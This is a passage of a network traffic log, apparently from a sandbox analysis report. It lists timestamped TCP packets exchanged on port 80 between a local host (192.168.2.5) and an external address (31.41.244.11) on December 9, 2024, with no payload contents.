Dec 9, 2024 15:30:12.820527077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.820570946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.820579052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.820615053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.821907043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.821922064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.821954966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.821963072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.823446035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.823466063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.823476076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.823513031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.823523045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.825159073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.825174093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.825225115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.826710939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.826731920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.826791048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.826808929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.827922106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.827936888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.827996016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.831106901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.831120968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.831130028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.831147909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.831159115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.831170082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.831190109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.831933022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.832597017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.832612038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.832655907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.833977938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.833990097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.834033966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.835382938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.835398912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.835433006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.835469007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.836859941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.836872101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.836895943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.836918116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.836952925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.838404894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.838419914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.838455915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.838466883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.839981079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.839993954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.840040922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.841527939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.841581106 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.842974901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.842988014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.843030930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.844362974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.844377995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.844419003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.844429970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.845933914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.845994949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.847363949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.847376108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.847429037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.848850012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.848862886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.848874092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.848906040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.848918915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.850377083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.850392103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.850426912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.851958990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.851973057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.852016926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.855356932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.855371952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.855393887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.855406046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.855423927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.855457067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.856383085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.856398106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.856409073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.856550932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.859153032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.859168053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.859209061 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.860269070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.860281944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.860352993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.860378981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.003057003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.003164053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.003750086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.003803968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.004182100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.004199982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.004245996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.005494118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.005542040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.006411076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.006455898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.006886005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.006900072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.006937027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.008202076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.008214951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.008249998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.009495974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.009512901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.009552002 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.010926008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.010941029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.010977030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.012182951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.012193918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.012238026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.013659954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.013674021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.013716936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.015372992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.015389919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.015424967 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.015444994 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.016609907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.016624928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.016659021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.017683029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.017699957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.017729044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.017752886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.019043922 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.019057989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.019093990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.020360947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.020375013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.020414114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.021756887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.021769047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.021811008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.023297071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.023319960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.023351908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.023376942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.024791002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.024812937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.024842978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.024856091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.026232004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.026247025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.026274920 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.026293993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.027868986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.027884960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.027895927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.027924061 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.027944088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.029242039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.029256105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.029287100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.030775070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.030796051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.030837059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.032233000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.032247066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.032291889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.033690929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.033706903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.033746004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.035172939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.035190105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.035202026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.035231113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.035258055 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.036681890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.036698103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.036735058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.038163900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.038178921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.038223982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.039691925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.039706945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.039753914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.041220903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.041235924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.041248083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.041275024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.041290045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.042771101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.042785883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.042828083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.044655085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.044667959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.044709921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.046237946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.046262026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.046288013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.046315908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.047799110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.047812939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.047856092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.049071074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.049086094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.049096107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.049129009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.049141884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.050358057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.050373077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.050421953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.051683903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.051700115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.051740885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.053261042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.053276062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.053313971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.054689884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.054708004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.054744959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.054765940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.056139946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.056155920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.056166887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.056189060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.056214094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.057647943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.057661057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.057706118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.059174061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.059221029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.059223890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.059268951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.060656071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.060704947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.062153101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.062169075 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.062206984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.062221050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.063632965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.063649893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.063661098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.063683033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.063723087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.065192938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.065208912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.065248013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.066745043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.066760063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.066802025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.068248987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.068262100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.068306923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.069626093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.069638968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.069648981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.069684029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.069695950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.071211100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.071232080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.071278095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.072896957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.072911978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.072947025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.072969913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.074234962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.074250937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.074260950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.074280977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.074300051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.195606947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.195739985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.195966959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.196014881 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.196624041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.196674109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.197177887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.197222948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.206120968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.206191063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.206471920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.206486940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.206526995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.207840919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.207858086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.207885981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.207902908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.209403992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.209422112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.209470034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.209479094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.212730885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.212784052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.213017941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.213064909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.214001894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.214018106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.214059114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.214085102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.214735985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.214747906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.214765072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.214792967 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.214812040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.216228008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.216240883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.216289043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.216303110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.217590094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.217637062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.217740059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.217783928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.219013929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.219054937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.219129086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.219171047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.220622063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.220639944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.220664024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.220675945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.222126007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.222138882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.222150087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.222182035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.222213030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.223644972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.223658085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.223691940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.223706007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.224915981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.224960089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.225066900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.225135088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.226370096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.226387024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:13.226422071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.226438999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:13.227669001 CET	80	49866	31.41.244.11	192.168.2.5
